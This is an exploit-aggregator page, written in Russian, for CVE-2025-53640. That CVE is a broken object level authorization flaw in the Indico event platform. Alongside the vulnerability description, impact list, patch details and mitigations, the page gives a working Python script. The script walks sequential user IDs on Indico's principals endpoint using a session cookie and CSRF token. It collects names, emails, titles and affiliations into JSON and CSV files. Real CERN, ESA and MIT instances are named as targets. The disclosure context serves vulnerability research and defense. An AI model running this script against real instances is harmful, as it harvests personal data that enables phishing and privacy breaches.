Sploitus

Exploit for CVE-2025-53640

kitploit · 2026-08-27

Exploit Code

MARKDOWN230 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RAFAELCORVINO1-CVE-2025-53640
# CVE-2025-53640 – Перечисление аутентифицированных пользователей в Indico CERN (Уязвимость BOLA)

![2025-07-19_11-19](https://assets.kitploit.com/production/public/readmes/31148/6f1cc2ab7c59b506c882b117a586770b1ff2b14d7007b3daf1989abb94ced787.png)

![CVE Badge](https://img.shields.io/badge/CVE-2025--53640-red)

PoC и технический анализ CVE-2025-53640: уязвимость типа Broken Object Level Authorization (BOLA) в Indico позволяет перечислять аутентифицированных пользователей через конечную точку, раскрывая имена, адреса электронной почты и принадлежности. Включает скрипт эксплуатации, анализ запросов и скриншоты. Затрагивает глобально развернутые экземпляры Indico (Европейская организация по ядерным исследованиям (CERN), Организация Объединенных Наций (ООН), Массачусетский технологический институт (MIT), Европейское космическое агентство (ESA) и другие).

## Описание

Уязвимость типа Broken Object Level Authorization (BOLA) в приложении с открытым исходным кодом _Indico_ позволяет массовое перечисление пользователей через конечную точку.

Изначально предназначенная для разрешения идентификаторов пользователей в определенных полях формы, эта конечная точка может быть использована для получения личных данных **любого действительного идентификатора пользователя** :

  * Полное имя

  * Адрес электронной почты

  * Должность

  * Принадлежность

  * URL аватара




Уязвимость была сообщена и подтверждена мейнтейнерами Indico, и официально отслеживается как CVE-2025-53640

## Требования к эксплуатации

  * Требуется действительная аутентифицированная сессия.

  * Однако большинство публичных экземпляров Indico позволяют самостоятельную регистрацию без проверки электронной почты, CAPTCHA или ручного одобрения.

  * Это делает уязвимость **практически эксплуатируемой неаутентифицированными пользователями** после тривиального создания учетной записи.




## Глобальное воздействие

Indico — широко используемая платформа управления мероприятиями и конференциями, разработанная CERN (Европейская организация по ядерным исследованиям), обеспечивающая работу академической и институциональной инфраструктуры по всему миру:

  * **CERN (Европейская организация по ядерным исследованиям):** Более 900 000 мероприятий ежегодно; 200+ комнат бронируется ежедневно.

  * **По всему миру:** Около 145 000 мероприятий/год в более чем 300 учреждениях.

  * **ООН (Организация Объединенных Наций):** Более 180 000 участников/год.

  * **ЮНОГ (Отделение ООН в Женеве):** До 700 000 пользователей/год.

  * Широко используется университетами, лабораториями, исследовательскими институтами и государственными учреждениями.




Примеры затронутых публичных экземпляров:

  * https://indico.cern.ch

  * https://indico.esa.int

  * https://indico.mit.edu




Из-за широкого распространения в **научной, академической и государственной** средах эта уязвимость представляет серьезные риски:

  * Утечка личных данных исследователей, сотрудников и администраторов

  * Масштабные нарушения конфиденциальности и раскрытие институциональных каталогов

  * Целенаправленная разведка для фишинга или социальной инженерии

  * Возможная компрометация чувствительных исследовательских и политических инициатив




## Воздействие

  * Раскрытие личных данных (PII)

  * Перечисление привилегированных пользователей (администраторы, организаторы)

  * Поддержка массовых фишинговых и целевых фишинговых операций

  * Нарушает такие нормативные акты, как **GDPR** , **LGPD** и внутренние институциональные политики

  * Может быть признано подлежащим отчетности нарушением в зависимости от юрисдикции




## Патч

Проблема была исправлена в **Indico v3.3.7**.

По словам мейнтейнеров, поведение конечной точки было изменено, чтобы предотвратить массовую выгрузку данных пользователей (имя, принадлежность и email) через предсказуемые ID. Также был введен новый флаг конфигурации `ALLOW_PUBLIC_USER_SEARCH`.

Дополнительные меры смягчения включают:

  * Ограничение проверок email при регистрации

  * Отключение разрешения ссылок на лиц при отключенном публичном поиске

  * Добавление предупреждений в интерфейсе для мероприятий без ACL при ограниченном поиске




## Доказательство концепции (PoC)

### Эксплойт

root@kitploit:~
    
    
    #!/usr/bin/env python3
    import requests
    import json
    import csv
    import urllib3
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    url = "https://indico.<URL>/api/principals"
    headers = {
        "Cookie": "indico_session=YOUR_SESSION_COOKIE_HERE",
        "Content-Type": "application/json",
        "X-Csrf-Token": "YOUR_CSRF_TOKEN_HERE"
    }
    
    def enumerate_users(max_errors=10):
        user_id = 1
        errors = 0
        results = []
    
        while errors < max_errors:
            payload = {"values": [f"User:{user_id}"]}
            response = requests.post(url, headers=headers, data=json.dumps(payload), verify=False)
    
            if response.status_code == 200:
                data = response.json()
                key = f"User:{user_id}"
                if key in data and not data[key].get("invalid", True):
                    user = data[key]
                    print(f"[+] ID {user_id}: {user['first_name']} {user['last_name']} - {user['email']}")
                    results.append({
                        "user_id": user_id,
                        "name": f"{user['first_name']} {user['last_name']}",
                        "email": user["email"],
                        "affiliation": user["affiliation"],
                        "title": user["title"],
                        "avatar_url": user["avatar_url"]
                    })
                    errors = 0
                else:
                    print(f"[-] ID {user_id}: Invalid")
                    errors += 1
            else:
                print(f"[!] ID {user_id}: HTTP Error {response.status_code}")
                errors += 1
            user_id += 1
    
        with open("enumerated_users.json", "w", encoding="utf-8") as jf:
            json.dump(results, jf, indent=2, ensure_ascii=False)
    
        with open("enumerated_users.csv", "w", newline="", encoding="utf-8") as cf:
            writer = csv.DictWriter(cf, fieldnames=["user_id", "name", "email", "affiliation", "title", "avatar_url"])
            writer.writeheader()
            writer.writerows(results)
    
        print("Enumeration finished.")
    
    if __name__ == "__main__":
        enumerate_users()
    

![image](https://assets.kitploit.com/production/public/readmes/31148/f2224c692ae6a61c96f3f3aaf7d9c406aaffe37fe3808162dc5f4c1ae9c47fd1.png) ![image](https://assets.kitploit.com/production/public/readmes/31148/c22464fc38a6f31de0f5444d42316791e3daa1394151f6254c96948db52a4244.png)

## Рекомендации по смягчению

  * Ограничьте доступ к конечной точке на основе роли или контекста

  * Установите `ALLOW_PUBLIC_USER_SEARCH = false` в `indico.conf`

  * Ограничьте раскрываемые поля пользователя только необходимыми

  * Отключите или ограничьте самостоятельную регистрацию (например, проверка email, одобрение администратором)

  * Включите мониторинг и ограничение частоты запросов на конечной точке

  * Немедленно обновитесь до **Indico 3.3.7** или новее

  * Отслеживайте журналы доступа на предмет шаблонов перечисления




## CVE

Официальный ID: **CVE-2025-53640**

## Раскрытие

Эта уязвимость была обнаружена в ходе оценки безопасности, проведенной в рамках **программы стажировки Red Team в RNP (Rede Nacional de Ensino e Pesquisa – Бразилия)**.

Все исследования и тестирование выполнялись с предварительного разрешения и под надзором. Особая благодарность **команде безопасности RNP** за предоставление этических рекомендаций и инфраструктурной поддержки.

Данный CVE подчеркивает важность обеспечения строгого контроля доступа на уровне объектов на платформах, управляющих конфиденциальными институциональными данными.

## Ссылки

  * GitHub Security Advisory – GHSA-q28v-664f-q6wj

  * Indico Commit f858355

  * NVD Record

  * CVE.org Registry

  * Indico Config: ALLOW_PUBLIC_USER_SEARCH

  * Indico Upgrade Guide

  * Release Notes – v3.3.7